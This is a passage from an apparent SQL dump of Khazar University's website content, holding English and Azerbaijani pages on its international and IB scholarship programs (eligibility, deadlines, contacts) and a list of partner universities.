form</li><li>KUISP Application Form</li></ol><br><p style=\"text-align:left\">Both application forms can be downloaded from Khazar University’s website:</p><p><a href=\"http://www.khazar.org/en/menus/496/how_to_apply_new_sup_style_color_red_new_sup_\">http://www.khazar.org/en/menus/496/how_to_apply_new_sup_style_color_red_new_sup_&nbsp;</a></p><p>Completed applications should be sent to the International Affairs Office&nbsp;by<strong> email </strong>or<strong> post. Electronic submissions are highly encouraged.</strong></p><p><br></p><table cellspacing=\"0\" cellpadding=\"0\" style=\"\" mso-cellspacing:0in;background:white;border-width:1px;border-style:solid;padding:0in=\"\" 0in=\"\" 0in\"\"=\"\">\r\n <tbody><tr>\r\n  <td width=\"300\" style=\"width:225.0pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Email:</strong></p>\r\n  </td>\r\n  <td width=\"293\" style=\"width:219.75pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\"><strong>Post:</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"300\" style=\"width:225.0pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\"><a href=\"mailto:international@khazar.org\"><strong>international@khazar.org</strong></a></p>\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">Send your completed\r\n  KUISP Application Form along with Khazar University Application for Admission\r\n  Form and all required documents</p>\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"293\" style=\"width:219.75pt;padding:0in 0in 0in 0in;vertical-align:top\">\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">Khazar University</p>\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">International\r\n  Affairs Office</p>\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">41 Mehseti Street</p>\r\n  <p style=\"\" margin-bottom:7.5pt;text-align:justify;line-height:normal\"\"=\"\">Baku, AZ1096,\r\n  Azerbaijan</p>\r\n  </td>\r\n </tr>\r\n</tbody></table> <p><br></p><p style=\"text-align:center\"><strong>&nbsp;</strong><strong>VI. &nbsp;</strong><strong>Application Deadline</strong></p><p>Deadline for applications is&nbsp;<strong>17:00 (5:00 PM) Baku time on Sunday, April 15, 2018.</strong>&nbsp;Late or incomplete applications will not be considered.</p><p><br></p><p style=\"text-align:center\"><strong>VII.&nbsp;</strong><strong>Contact Information</strong></p><p>For any questions about the KUISP contact International Affairs Office</p><p>Tel.: (+994 12) 421 79 16 (extension 240)</p><p>Tel.: (+994 12) 421 17 08</p><p>Email:&nbsp;<a href=\"mailto:international@khazar.org\">international@khazar.org</a></p><div><br></div></div>  <!-- ELRTE_SCRIPT:script6298765926436634 -->'),(759,531,'az',' Xəzər Universiteti Beynəlxalq Təqaüd Proqramı<sup style=\"color:red\">yeni</sup>',' Xəzər Universiteti Beynəlxalq Təqaüd Proqramı<sup style=\"color:red\">yeni</sup>','<p style=\"text-align:center\"><strong>2018-2019</strong></p><p style=\"text-align:center\"><strong>Xəzər Universitəsi Əcnəbi Tələbələr üçün Təqaüd proqramı</strong><strong>&nbsp;</strong></p><p style=\"text-align:center\"><strong>Müraciət üçün son tarix:&nbsp;</strong><strong>17:00 (5:00 PM) (Bakı vaxtı ilə), Bazar, 15 Aprel, 2018-ci&nbsp;il</strong></p><p style=\"text-align:center\"><strong><br></strong></p><p style=\"text-align:center\"><strong>&nbsp;</strong><strong>I.&nbsp;</strong><strong>Proqram Bəyanatı</strong></p><p>Xəzər Universitəsi Cənubi Qafqazda təlim dilinin İngilis dili olduğu beynəlxalq təhsil proqramlarını həyata keçirməyə başlayan ilk özəl universitetdir. Xəzər Universitəsi öz siyasəti və xidmət öhdəlikləri çərçivəsində heç bir məhdudiyyət olmadan bütün ölkələrin vətəndaşlarına aid olan 2018-2019-cu illər üçün Xəzər Universitəsi Beynəlxalq Təqaüd Proqramını (daha sonra KUISP (Khazar University International Scholarship Program) kimi istinad olunur) bəyan etməkdən qürur duyur.</p><p style=\"text-align:center\"><strong>II.&nbsp;</strong><strong>Əsas Prinsiplər</strong></p><p>Proqramın əsas prinsipləri aşağıdakılardır:</p><p>- &nbsp; Bütün xarici vətəndaşlar KUISP proqramına müraciət edə bilərlər.&nbsp;</p><p>- &nbsp; KUISP proqramı Xəzər Universitəsinin bütün fakültələri üzrə potensial tələbələri üçün açıqdır: Mühəndislik və Tətbiqi Elmlər fakültəsi, İqtisadiyyat və Menecment fakültəsi, Humanitar və Sosial Elmlər fakültəsi və Təhsil fakültəsi.</p><p>- &nbsp;Bakalavr, magistratura, doktorluğa namizədlər KUISP proqramına müraciət edə bilərlər</p><p>- &nbsp;Bütün təhsil xərclərini ödəyəcək iki təqaüd hər il Xəzər Universitəsinə müraciət edən hər bir ölkənin vətəndaşlarına veriləcək.</p><p>- &nbsp;Təqaüd bir il müddətinə nəzərdə tutulub, lakin bu müddət təqaüd alanın akademik fəaliyyətinə əsasən uzadıla bilər.</p><p>- &nbsp;Təqaüd tam proqram müddətində bütün təhsil xərclərini əhatə edir, lakin yaşayış və səyahət xərcləri bura daxil deyil.</p><p>- &nbsp;Xəzər Universitəsi qəbul olunmuş ərizələrin qiymətləndirilməsi ilk öncə sənədlərin nəzərdən keçirilməsi, daha sonra isə Skype müsahibəsi vasitəsilə həyata keçirir. Təfərrüatlar və seçim müddəti KUISP proqramının vaxt cədvəlində göstərilib. (IV hissə)</p><p style=\"text-align:center\"><strong>III.&nbsp;</strong><strong>Uyğunluq kriteriyaları</strong></p><p>Uğurlu namizəd aşağıdakı meyarlara uyğun olmalıdır:</p><p>- &nbsp; Əvvəlki təhsil pilləsində (ali məktəb, bakalavr və ya magistr proqramları) yüksək akademik fəaliyyət göstəricisi</p><p>- &nbsp;Yüksək İngilis dili bacarığı. Standartlaşmış İngilis dili test balları məcburi deyil. Lakin belə test balları (etibarlı TOEFL və IELTS balları: etibarlılıq müddəti bitmiş ballar qəbul edilmir) olan namizədlərin rəqabət üstünlüyü olacaq. Əsas tədris dilinin İngilis dili olduğu ali məktəblərin, Beynəlxalq Bakalavr dərəcəsi və ya diplomuna sahib olanların İngilis dil bacarıqlarını sübut edən sənədlərə ehtiyacı yoxdur.</p><p>- &nbsp;Xəzər Universitəsində oxumaq üçün həvəsli olmaq</p><p>- &nbsp;Yaxşı ünsiyyət bacarığı</p><p style=\"text-align:center\"><strong>IV. &nbsp;</strong><strong>Müraciətin və seçimin vaxt cədvəli</strong></p><p>KUISP proqramı hər il hazırlanan və təsdiqlənən plan əsasında həyata keçirilir. Tətbiq etmə, vaxt və tətbiq edən orqanlar aşağıdakı cədvəldə dəqiq göstərilmişdir:</p><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"134\"><p><strong>Fəaliyyət</strong></p></td><td width=\"115\"><p><strong>Tarix</strong></p></td><td width=\"374\"><p><strong>Təsvir</strong></p></td></tr><tr><td width=\"134\"><p><strong>Qəbul elan olunur</strong></p></td><td width=\"115\"><p>Dekabr</p><p>2017-ci&nbsp;il</p></td><td width=\"374\"><p>Xəzər Universiteti 2018-2019-cu dərs ili üçün qəbulun açılmasını elan edir.</p></td></tr><tr><td width=\"134\"><p><strong>KUISP proqramının elan edilməsi</strong></p></td><td width=\"115\"><p>Dekabr, 2017</p></td><td width=\"374\"><p>Elan Xəzərin veb-saytında, Beynəlxalq Əlaqələr Ofisinin Facebook səhifəsi, xaricdəki partnyor universitetlərin veb-saytları yerləşdiriləcəkdir.</p></td></tr><tr><td width=\"134\"><p><strong>Müraciət üçün son tarix</strong></p></td><td width=\"115\"><p><strong>17:00 (5:00 PM) (Bakı vaxtı ilə), Bazar, 15 Aprel, 2018-ci il</strong></p></td><td width=\"374\"><p>Müraciətlər e-mail vasitəsi ilə təqdim edilə (bütün tələb olunan sənədlər skan edilməlidir) və ya poçtla göndərilə bilər.</p></td></tr><tr><td width=\"134\"><p><strong>Qiymətləndirmə və seçim</strong></p></td><td width=\"115\"><p>Aprel – May, 2018</p></td><td width=\"374\"><p>Universitet tərəfindən yaradılan və Beynəlxalq Əlaqələr Ofisi tərəfindən idarə olunan Seçim Komitəsi təqaüd mükafatı haqqında qərar verəcək.</p></td></tr><tr><td width=\"134\"><p><strong>Seçim nəticələrinin elan edilməsi</strong></p></td><td width=\"115\"><p>İyunun ortası, 2018</p></td><td width=\"374\"><p>Seçim nəticələri email vasitəsilə namizədlərə və partnyor təşkilatlara (səfirliklər, universitetlər və s.) göndəriləcək.</p></td></tr></tbody></table><p style=\"text-align:center\"><strong><br>V.&nbsp;</strong><strong>Təqaüd üçün müraciətin mərhələləri</strong><strong>&nbsp;</strong></p><p>KUISP proqramına müraciət etmək üçün, ərizəçi aşağıdakı formaları doldurub təhvil verməlidir:</p><br><ol><li>Xəzər Universitəsinin qəbul üçün ərizə forması (ərizə formasında göstərilən bütün tələb olunan sənədlərlə birlikdə)</li><li>KUISP proqramının ərizə forması</li></ol><br><p>Ərizə formaları Xəzər Universitəsinin internet səhifəsindən&nbsp; yüklənə bilər:</p><p><a href=\"http://www.khazar.org/az/menus/496/nece_muraciet_etmeli_sup_style_color_red_yeni_sup_\">http://www.khazar.org/az/menus/496/nece_muraciet_etmeli_sup_style_color_red_yeni_sup_ </a> <br></p><p>&nbsp;</p><p>Tamamlanmış ərizələr Beynəlxalq Əlaqələr Ofisinə <strong>email</strong> ya <strong>poçt</strong> vasitəsi ilə göndərilməlidir.</p><p><strong>Elektron müraciətlər daha çox arzuolunandır.</strong></p><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"312\"><p><strong>Email:</strong></p></td><td width=\"312\"><p><strong>Poçt:</strong></p></td></tr><tr><td width=\"312\"><p><a href=\"mailto:international@khazar.org\">international@khazar.org</a></p><p>(zəhmət olmasa, bütün tələb olunan sənədlərlə birlikdə özünüzün tamamlanmış KUISP ərizə formasını və Xəzər Universitəsinin qəbul üçün ərizə formasını göndərin)</p></td><td width=\"312\"><p>Xəzər Universitəsi</p><p>Beynəlxalq Əlaqələr Ofisi</p><p>Məhsəti küçəsi&nbsp; 41</p><p>Bakı AZ1096 Azərbaycan</p><p>&nbsp;</p></td></tr></tbody></table><p><strong><br></strong></p><p style=\"text-align:center\"><strong>VI. Müraciət üçün son tarix</strong></p><p>Gec və ya tamamlanmamış ərizələr nəzərə alınmayacaq.</p><p>Müraciət üçün son tarix&nbsp;<strong>17:00 (5:00 PM) (Bakı vaxtı ilə), Bazar, 15 Aprel, 2018-ci ildir.</strong></p><p><br></p><p style=\"text-align:center\"><strong>VII. Əlaqə məlumatı</strong></p><p>KUISP proqramı haqqında istənilən sualla Beynəlxalq Əlaqələr Ofisinə müraciət edə bilərsiniz:</p><p>Tel.: (+994 12) 421 79 16 (daxili 240)</p><p>Tel.: (+994 12) 421 17 08</p><p>Email:&nbsp;<a href=\"mailto:international@khazar.org\">international@khazar.org</a>  <br></p>  <!-- ELRTE_SCRIPT:script3736438474746069 -->'),(760,532,'en','Scholarship for International Baccalaureate (IB) Students  <sup style=\"color:red\">new</sup>','Scholarship for International Baccalaureate (IB) Students  <sup style=\"color:red\">new</sup>','<p><strong>Admission and Scholarship for International Baccalaureate (IB) Students</strong>&nbsp;</p><p><strong>Deadline for Applications:&nbsp;</strong><strong>17:00 (5:00 PM) Baku time on Friday, April 15, 2016</strong>&nbsp;</p><div><p><strong><strong>Program Statement</strong>&nbsp;</strong></p><p>Khazar University recognizes the excellent preparation that the IB program provides, and welcomes graduates of the IB diploma program to apply for admission and scholarships. Students who are still completing their final year of the IB program may apply. They will be considered for admission if they have predicted scores of 28 or higher.&nbsp;</p><p><strong>Scholarships&nbsp;</strong><strong>for</strong><strong>&nbsp;International Baccalaureate Students</strong>Applicants to all Khazar University undergraduate programs who have successfully completed the IB diploma with the following scores are given scholarships as shown below.&nbsp;<br></p><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"126\"><strong>Final IB score</strong></td><td width=\"348\"><strong>Khazar University Scholarship</strong></td></tr><tr><td width=\"126\"><strong>28-35</strong></td><td width=\"348\">full tuition&nbsp;for&nbsp;<strong>one semester</strong></td></tr><tr><td width=\"126\"><strong>36-40</strong></td><td width=\"348\">full tuition for&nbsp;<strong>one year</strong>&nbsp;(two semesters)</td></tr><tr><td width=\"126\"><strong>41 or higher</strong></td><td width=\"348\">Full tuition for&nbsp;<strong>entire bachelor degree&nbsp;program</strong></td></tr></tbody></table><p><strong><br>Eligibility Criteria</strong>The successful applicants should meet the following criteria:- International Baccalaureate (IB) Diploma holder- Good academic performance records- Good English language skills. Standardized English language test scores are not compulsory. However, the applicants with standardized scores (valid TOEFL/IELTS scores: expired scores are not accepted) will have competitive advantage. Holders of International Baccalaureate (IB) diplomas from a high school with English as a major medium of instruction do not need a language skill justification document- &nbsp;Motivated to study at Khazar University- &nbsp;Good communication skills and sociability&nbsp;<strong>Academic Programs</strong>Khazar University offers bachelor’s degrees in 31 academic majors for IB students. To see the full list of the programs, please click<a href=\"http://www.khazar.org/files/admin/IB_Programs_2016_2017.pdf\">&nbsp;<strong>International Programs for IB students</strong>.</a>&nbsp;</p><p><strong>To Apply</strong>For more information about admission and scholarship, please visit our&nbsp;<strong><a href=\"http://www.khazar.org/en/menus/496/how_to_apply_new_sup_style_color_red_new_sup_\">How to Apply</a></strong>&nbsp;section.&nbsp;<strong><strong>Deadline for Applications:&nbsp;</strong>17:00 (5:00 PM) Baku time on Friday, April 15, 2016</strong>&nbsp;&nbsp;<strong>Contact Information</strong><strong>&nbsp;</strong>For any questions about IB admission and scholarship, please contact International Affairs Office&nbsp;Tel.: (+994 12) 421 79 16 (extension 240)Tel.: (+994 12) 421 17 08Email:&nbsp;<a href=\"mailto:international@khazar.org\">international@khazar.org</a>&nbsp;</p></div>'),(761,532,'az',' IB Tələbələri üçün Təqaüd Proqramı  <sup style=\"color:red\">yeni</sup>',' IB Tələbələri üçün Təqaüd Proqramı  <sup style=\"color:red\">yeni</sup>','<p><strong>İB Tələbələri üçün Qəbul və Təqaüd Proqramı</strong></p><p><strong></strong><strong>Müraciət üçün son tarix:&nbsp;</strong><strong>17:00 (5:00 PM) (Bakı vaxtı ilə), Cümə, 15 Aprel, 2016-cı il</strong></p><p><strong>Proqram Bəyanatı</strong></p><p>Xəzər Universiteti İB proqramının tələbə hazırlığını yüksək qiymətləndirir və proqramın məzunlarını sənəd qəbuluna və təqaüd proqramına müraciət etməyə dəvət edir. İB proqramının sonuncu ilində olan tələbələr də müraciət edə bilər. İB balı 28-dən yuxarı olan tələbələrin müraciətləri qəbul olunacaq.</p><p><br></p><p><strong>İB&nbsp;</strong><strong>Tələbələri üçün Təqaüd&nbsp;</strong><strong>Proqramı</strong></p><p>Xəzər Universitetinin bakalavr proqramlarına müraciət edən ərizəçilər üçün nəzərdə tutulan təqaüdlər aşağıda göstərilmiş cədvəl üzrə hesablanacaq.</p><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td width=\"144\"><p><strong>Yekun İB balı</strong></p></td><td width=\"396\"><p><strong>Xəzər Universiteti Təqaüdü</strong></p></td></tr><tr><td width=\"144\"><p><strong>28-35</strong></p></td><td width=\"396\"><p><strong>1 semestr</strong>&nbsp;üçün tam təhsil haqqı</p></td></tr><tr><td width=\"144\"><p><strong>36-40</strong></p></td><td width=\"396\"><p><strong>1 il&nbsp;</strong>(iki semester) üçün tam təhsil haqqı</p></td></tr><tr><td width=\"144\"><p><strong>41 və daha yüksək</strong></p></td><td width=\"396\"><p><strong>Bütün bakalavr dərəcəsi proqramı</strong>&nbsp;üçün tam təhsil haqqı</p><div><br></div></td></tr></tbody></table><p><br>Uğurlu namizəd aşağıdakı meyarlara uyğun olmalıdır:</p><p>- İB Diplomu</p><p>- Yüksək akademik fəaliyyət göstəriciləri</p><p>- Yüksək İngilis dili bacarığı. Standartlaşmış İngilis dili test balları məcburi deyil. Lakin belə test balları (etibarlı TOEFL və IELTS balları: etibarlılıq müddəti bitmiş ballar qəbul edilmir) olan namizədlərin rəqabət üstünlüyü olacaq. İB diplomuna sahib olanların İngilis dil bacarıqlarını sübut edən sənədlərə ehtiyacı yoxdur.</p><p>- &nbsp;Xəzər Universitəsində oxumaq üçün həvəsli olmaq</p><p>- &nbsp;Yaxşı ünsiyyət bacarığı</p><p>&nbsp;</p><p><strong>Akademik Proqramlar</strong></p><p>Xəzər Universiteti İB tələbələri üçün 31 ixtisas üzrə bakalavr dərəcə proqramı təklif edir. Proqramların tam siyahısını görmək üçün,&nbsp;<strong><a href=\"http://www.khazar.org/files/admin/IB_Programs_2016_2017_AZE.pdf\">İB Tələbələri üçün Beynəlxalq Proqramlar</a></strong>&nbsp;linkinə klik edin.</p><p><strong>Müraciət etmək üçün</strong></p><p>Qəbul və təqaüd proqramı barədə ətraflı məlumat almaq üçün&nbsp;<strong><a href=\"http://www.khazar.org/az/menus/496/nece_muraciet_etmeli_sup_style_color_red_yeni_sup_\">Necə müraciət etməli&nbsp;</a></strong>bölməsinə nəzər salın.</p><p><strong><strong>Müraciət üçün son tarix:&nbsp;</strong><strong>17:00 (5:00 PM) (Bakı vaxtı ilə), Cümə, 15 Aprel, 2016-cı il&nbsp;</strong></strong></p><p><strong>Əlaqə məlumatları</strong></p><p><strong>&nbsp;</strong>İB qəbul və təqaüd proqramı ilə bağlı sualınız olarsa, Beynəlxalq Əlaqələr Ofisi ilə əlaqə saxlayın.</p><p>Tel.: (+994 12) 421 79 16 (daxili 240)</p><p>Tel.: (+994 12) 421 17 08</p><p>Email:&nbsp;<a href=\"mailto:international@khazar.org\">international@khazar.org</a></p>'),(765,534,'az','Beynəlxalq əməkdaşlıqlar','Beynəlxalq əməkdaşlıqlar','<div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\">Xəzər Universitetinin beynəlxalq əməkdaşlıq ənənələri uzun illərdir ki davam edir.</p><p>Qurulduğundan bu yana beynəlxalq əlaqələr universitetin əsas məqsədlərindən birinə çevrilmişdir. Xəzər Universiteti dünyanın bir çox ölkəsi ilə ortaq layihələrdə və əməkdaşlıqlarda aktiv fəaliyyət göstərir</p><p>Hal-hazırda əsas məqsəd elmi tədqiqat və təhsilin beynəlxalqlaşdırılması məqsədilə beynəlxalq əməkdaşlığın əsas keyfiyyətinə və məğzinə diqqət verməkdir. Beynəlxalq əməkdaşlıq universitetdə elmi tədqiqat və tədrisin keyfiyyətini və davamllılığını təmin edən mühüm vasitələrdən biridir.</p><p>Beynəlxalq əlaqələr şəbəkəsinin genişlənməsi Xəzər universitetinə tələbə və müəllimlərin mübadiləsi və xaricdəki fakultələrə və tələbələrə Azərbaycanın təhsil və tədqiqat imkanlarından istifadə etməyə şərait yaradır.</p><p>Beynəlxalqlaşdırma prosesi aşağıdakı sahələrdə baş verir:</p><ul><li>İkitərəfli əməkdaşlıq müqavilələri</li><li>Avrasiya Universitetləri Birliyi, Qara Dəniz Universitetləri Birliyi, Xəzər Dənizi Universitetləri Birliyi, Demokratiya üçün Universitetlər İttifaqı, Beynəlxalq İnformasiya</li><li>Təhlükəsizliyi Təqdiqatı Konsorsiumu və</li><li>Beynəlxalq təhsil və tədqiqat proqramaları və layihələrində iştirak</li><li>Tələbə və müəllimlərin mübadiləsi</li><li>Fakültələrin, institutların, departamentlərin və şəxslərin beynəlxalq əməkdaşlığı</li></ul><p>Müxtəlif universitetlərin konsorsiumunda iştirak etməklə mübadilənin müxtəlif növlərini qüvvətləndirir və təhsilin eləcə də elmi tədqiqatın beynəlxalqlaşdırılması imkanlarını genişləndirir.</p><p>İkitərəfli mübadilə müqavilələrinin icrasında fəal iştirak və <a href=\"http://www.khazar.org/en/menus/493/_erasmus_mundus\">ERASMUS</a> proqramı çərçivəsində geniş əməkdaşlıq fəalliyəti Xəzər Universiteti tərəfindən dəstəklənir. Müəllim və tələbə mübadiləsinin nəzərdə tutulduğu&nbsp;Xəzər Universiteti həm bütövlüklə təhsil almaq istəyən həm də mübadilə üçün müraciət edən beynəlxalq tələbələr üçün maraqlı məkana çevrilib. Bir çox qonaq professorlar tədris prosesinə cəlb edilir və fakültələr&nbsp;onlarla getdikcə daha çox ünsiyyətdə olurlar.</p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><br></p><p style=\"margin:0px 0px 10px;padding:0px;color:#3a3b3b;line-height:15px;text-align:justify;background-color:#ffffff\"><span style=\"color:#0000ff\"><strong style=\"color:#000000\">Əməkdaşlar:</strong></span></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.leidenuniv.nl/\" target=\"_blank\" style=\"outline:none\">Leiden University,&nbsp;Netherlands</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.uludag.edu.tr/\" style=\"outline:none\">Uludagh University, Bursa, Turkey</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.balikesir.edu.tr/bau_eng\" style=\"outline:none\">Balikesir University, Turkey</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.comu.edu.tr/english/\" style=\"outline:none\">Chanakkale Onsekiz Mart University, Turkey</a><br style=\"margin-bottom:10px\"></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.tugab.bg/\" style=\"outline:none\">Technical University of Gabrovo, Bulgaria</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.okan.edu.tr/en\" style=\"outline:none\">Okan University, Istanbul, Turkey</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.kozminski.edu.pl/en/\" style=\"outline:none\">Kozminski University, Warsaw, Poland</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ku.edu.tr/en\" style=\"outline:none\">Koc University, Istanbul, Turkey</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.sgh.waw.pl/en/ogolne-en/\" style=\"outline:none\">Warsaw School of Economics, Warsaw, Poland</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.fh-vie.ac.at/en\" style=\"outline:none\">University of Applied Sciences BFI Vienna, Vienna, Austria</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.studyinnorthcyprus.org/neu.htm\" style=\"outline:none\">Near East University of North Cyprus</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.suu.edu/\" style=\"outline:none\">Southern Utah University, Cedar City, Utah, USA</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.siue.edu/\" style=\"outline:none\">South Illinois University Edwardsville, Illinois, USA</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.utm.my/\" style=\"outline:none\">University Technology Malaysia, Selangor, Malaysia</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ubbcluj.ro/en/\" style=\"outline:none\">Babes-Bolyai University, Cluj-Napoca, Romania</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.swps.pl/english-version\" style=\"outline:none\">Warsaw School of Social Sciences and Humanities, Warsaw, Poland</a><br style=\"margin-bottom:10px\"></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.erciyes.edu.tr/en/\" style=\"outline:none\">Erciyes University, Kayseri, Turkey</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.elmergib.edu.ly/\" style=\"outline:none\">The University of Al Mergib, Khoms, Libya</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\">University of Zawia, Libya</p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ritsumei.ac.jp/eng/\" style=\"outline:none\">Ritsumeikan University; Ritsumeikan Asia Pacific University, Kyoto, Japan</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://eng.ssu.ac.kr/web/eng\" style=\"outline:none\">Soongsil University, Seoul Korea</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.doshisha.ac.jp/english/\" style=\"outline:none\">Doshisha University, Japan</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ait.asia/\" style=\"outline:none\">Asian Institute of Technologies, Thailand</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://english.hallym.ac.kr/\" style=\"outline:none\">Hallym University, South Korea</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://english.hallym.ac.kr/\" style=\"outline:none\"></a><a href=\"http://www.ipag.fr/en/\" style=\"outline:none;color:#003399\">Institute De Preparation a l\'administration et a la gestion, Business School, Paris-Nice, France</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ipag.fr/en/\" style=\"outline:none\"></a><a href=\"http://int.krok.edu.ua/en/\" style=\"outline:none\">Университет Экономики и Права \"КРОК\", Киев, Украина</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://int.krok.edu.ua/en/\" style=\"outline:none\"></a><a href=\"http://tesau.edu.ge/uk/?lang=eng\" style=\"outline:none\">Telavi State University (TESAU), Telavi, Georgia</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.aydin.edu.tr/index_eng.asp\" style=\"outline:none\">Istanbul Aydin University, Istanbul, Turkey</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://department1.cup.edu.cn/~waisb/\" style=\"outline:none\">China University of Petroleum - Beijing, China</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.gzu.edu.cn/page/main367/lxs1/lxszhongwen.htm\" style=\"outline:none\">Guizhou University, China</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.ku.edu/\" style=\"outline:none\">The University of Kansas, USA</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\">Industrial Management Institute, Azerbaijan Regional Affiliate, Tabriz, Iran</p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\">Aptech-Tabriz Center, Iran</p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.gau.edu.tr/en\" style=\"outline:none\">Girne American University, North Cyprus</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.qurtuba.edu.pk/\" style=\"outline:none\">Qurtuba University of Science and Information Technology, Pakistan</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.tabaelm.com/\" style=\"outline:none\">Taba Elm International Institute, Iran</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.calstatela.edu/\" style=\"outline:none\">California State University, Los Angeles, USA</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.prague-humanities-institute.com/index.php\" style=\"outline:none\">The Prague Humanities Institute (PHI), Prague, Czech Republic</a></p><p style=\"margin:0px 0px 10px;padding:0px;color:#003399;line-height:15px;text-align:justify;background-color:#ffffff\"><a href=\"http://www.smun.spb.ru/\" style=\"outline:none\">Смольный Университет Российской Академии Образования, Россия</a></p><p style=\"margin:0px 0px 